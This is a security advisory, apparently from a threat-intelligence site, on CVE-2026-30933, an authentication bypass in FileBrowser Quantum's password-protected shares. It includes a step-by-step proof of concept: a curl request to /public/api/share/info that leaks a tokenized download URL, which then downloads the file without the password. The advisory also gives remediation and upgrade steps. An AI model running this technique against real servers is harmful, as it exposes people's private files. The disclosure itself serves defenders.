# CVE-2026-30933: FileBrowser Quantum: Password-Protected Share Bypass via /public/api/share/info Source: https://junglewise.ai/threats/cve-2026-30933-filebrowser-quantum-password-protected-share-bypass-via-public Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats Published: 2026-03-09. Updated: 2026-05-11 License: CC BY 4.0 with a link back CVE-2026-30933 · Severity: high · CVSS 7.5 · Published 2026-03-09 ### Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2. ### Details The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model ``` backend/http/share.go convertToFrontendShareResponse(line 63) s.DownloadURL = getShareURL(r, s.Hash, true, s.Token) ``` 2. The public endpoint: ``` GET /public/api/share/info returns shareLink.CommonShare without clearing DownloadURL. ``` Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability. The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL ### PoC 1. Create a password protected share as an authenticated user 2. Copy the public share URL (the clipboard WITHOUT an arrow) `http://yourdomain/public/share/yoursharedhash` Example: `http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw` 3. Query the public share endpoint via curl request: `curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: */*' ` Example: `curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*' ` Response includes: ``` { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" } ``` Note the response "hasPassword": true and downloadURL includes token= parameter 4. Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering Example: `http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D` Browser downloads file immediately without requiring password ### Impact An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise ### Recommended Remediation Sanitize DownloadURL in public share info responses via `commonShare.DownloadURL = ""` before returning the json response in shareInfoHandler method located in backend/share.go Structural fix, only generate tokenized URLs after successful password validation Technologies: [github.com/gtsteffaniak/filebrowser/backend (Go)](https://junglewise.ai/threats/technologies/github-com-gtsteffaniak-filebrowser-backend). Vendors: [Go](https://junglewise.ai/threats/vendors/go). ## Quick answers **Is CVE-2026-30933 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-30933 being exploited in the wild. **How severe is CVE-2026-30933?** High severity, with a CVSS score of 7.5, published 9 March 2026. **Which products and versions are affected?** github.com/gtsteffaniak/filebrowser/backend (Go) < 0.0.0-20260307130210-09713b32a5f6, SEMVER:introduced=0,fixed=0.0.0-20260307130210-09713b32a5f6. **Is there a fix for CVE-2026-30933?** Yes. github.com/gtsteffaniak/filebrowser/backend (Go): upgrade to 0.0.0-20260307130210-09713b32a5f6 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve. **Am I affected by CVE-2026-30933?** Check whether you run github.com/gtsteffaniak/filebrowser/backend (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you. ## How to fix - github.com/gtsteffaniak/filebrowser/backend (Go): upgrade to 0.0.0-20260307130210-09713b32a5f6 or later ```sh go get github.com/gtsteffaniak/filebrowser/backend@v0.0.0-20260307130210-09713b32a5f6 ``` ## Affected products - github.com/gtsteffaniak/filebrowser/backend (Go) < 0.0.0-20260307130210-09713b32a5f6, SEMVER:introduced=0,fixed=0.0.0-20260307130210-09713b32a5f6 ## Identifiers - CVE-2026-30933 - GHSA-525j-95gf-766f - GO-2026-4659 ## References - [https://api.github.com/users/mdcoxe](https://api.github.com/users/mdcoxe) - [https://github.com/mdcoxe](https://github.com/mdcoxe) - [https://api.github.com/users/mdcoxe/gists%7B/gist_id%7D](https://api.github.com/users/mdcoxe/gists%7B/gist_id%7D) - [https://api.github.com/users/mdcoxe/repos](https://api.github.com/users/mdcoxe/repos) - [https://avatars.githubusercontent.com/u/72583004?v=4](https://avatars.githubusercontent.com/u/72583004?v=4) - [https://api.github.com/users/mdcoxe/events%7B/privacy%7D](https://api.github.com/users/mdcoxe/events%7B/privacy%7D) ## Related threats - [FileBrowser symlink escape vulnerability in file read operations](https://junglewise.ai/threats/cve-2026-116682-filebrowser-quantum-is-a-free-self-hosted-web-based-file-manager) - [gtsteffaniak FileBrowser Quantum path traversal in subtitlesHandler](https://junglewise.ai/threats/cve-2026-54910-gtsteffaniak-filebrowser-quantum-path-traversal-in) - [gtsteffaniak FileBrowser Quantum username enumeration via timing side-channel](https://junglewise.ai/threats/cve-2026-54685-gtsteffaniak-filebrowser-quantum-username-enumeration-via-timing) - [FileBrowser Quantum information disclosure to unauthenticated users](https://junglewise.ai/threats/cve-2026-46410-filebrowser-quantum-information-disclosure-to-unauthenticated) - [gtsteffaniak FileBrowser Quantum path traversal in public share handler](https://junglewise.ai/threats/cve-2026-48777-gtsteffaniak-filebrowser-quantum-path-traversal-in-public-share)